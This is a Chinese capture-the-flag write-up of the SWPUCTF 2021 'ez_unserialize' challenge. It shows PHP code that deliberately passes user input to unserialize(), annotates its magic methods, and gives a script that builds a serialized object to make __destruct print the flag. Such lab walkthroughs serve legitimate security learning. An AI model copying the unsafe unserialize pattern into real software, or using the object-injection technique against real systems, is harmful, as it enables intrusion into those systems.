2026年3月27日NSSCTF之[SWPUCTF 2021 新生赛]ez_unserialize

SWPUCTF 2021 新生赛ez_unserialize

开启环境,进入并查看,可以看到一个动图,选择查看网页源码,得到

看到有隐藏信息,根据隐藏信息可以猜测,可以利用robots协议查看相关信息,访问得到

可以得到/c145s.php信息,进而访问,得到

php 复制代码
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

对此PHP代码分析

php 复制代码
class wllm{
    public $admin;
    public $passwd;

    // 构造方法:初始化属性值(反序列化时不会自动执行__construct)
    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

    // 析构方法:对象销毁时执行(反序列化后会自动触发)
    public function __destruct(){
        // 核心条件:admin严格等于"admin"、passwd严格等于"ctf"
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag; // 满足条件则输出flag
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

关键

bash 复制代码
__construct:仅在new wllm()时执行,反序列化时不会触发,因此初始化的admin=user、passwd=123456可被覆盖;
__destruct:反序列化生成的对象销毁时自动执行,是漏洞利用的核心入口;
条件判断用===(严格相等,需值和类型都匹配,这里都是字符串,只需值正确)
核心是实例化wllm类,手动赋值admin="admin"、passwd="ctf",再序列化

代码

php 复制代码
<?php
class wllm{
    public $admin;
    public $passwd;
}

// 实例化并赋值满足条件的属性
$obj = new wllm();
$obj->admin = "admin";
$obj->passwd = "ctf";

// 生成序列化字符串
echo serialize($obj);
?>

将序列化的结果get传参,得到最终结果

相关推荐
通信小呆呆12 天前
当算法有了“五感”:多模态数据融合如何向人体感官协同学习?
人工智能·学习·算法·机器学习·机器人
H__Rick12 天前
自动对焦学习-3
人工智能·学习·计算机视觉
Daisy Lee12 天前
量化学习-第1章-什么是量化金融
学习·金融·datawhale
Alsn8612 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
YM52e12 天前
买菜计算器小应用 - HarmonyOS ArkUI 开发实战-PC版本
学习·华为·harmonyos·鸿蒙·鸿蒙系统
小雨下雨的雨12 天前
HarmonyOS ArkUI训练营入门-组件掌握系列-Animation 动画效果实现-PC版本
学习·华为·harmonyos·鸿蒙
cqbzcsq12 天前
CellFlow虚拟细胞论文阅读
论文阅读·人工智能·笔记·学习·生物信息
YangYang9YangYan12 天前
2026初入职场学习数据分析的价值
学习·数据挖掘·数据分析
guslegend12 天前
理论学习:什么是 Coding Agent?
学习
自传.12 天前
尚硅谷 Vibe Coding|第三章(1) Claude Code深度使用与进阶技巧 学习笔记
笔记·学习·尚硅谷·vibecoding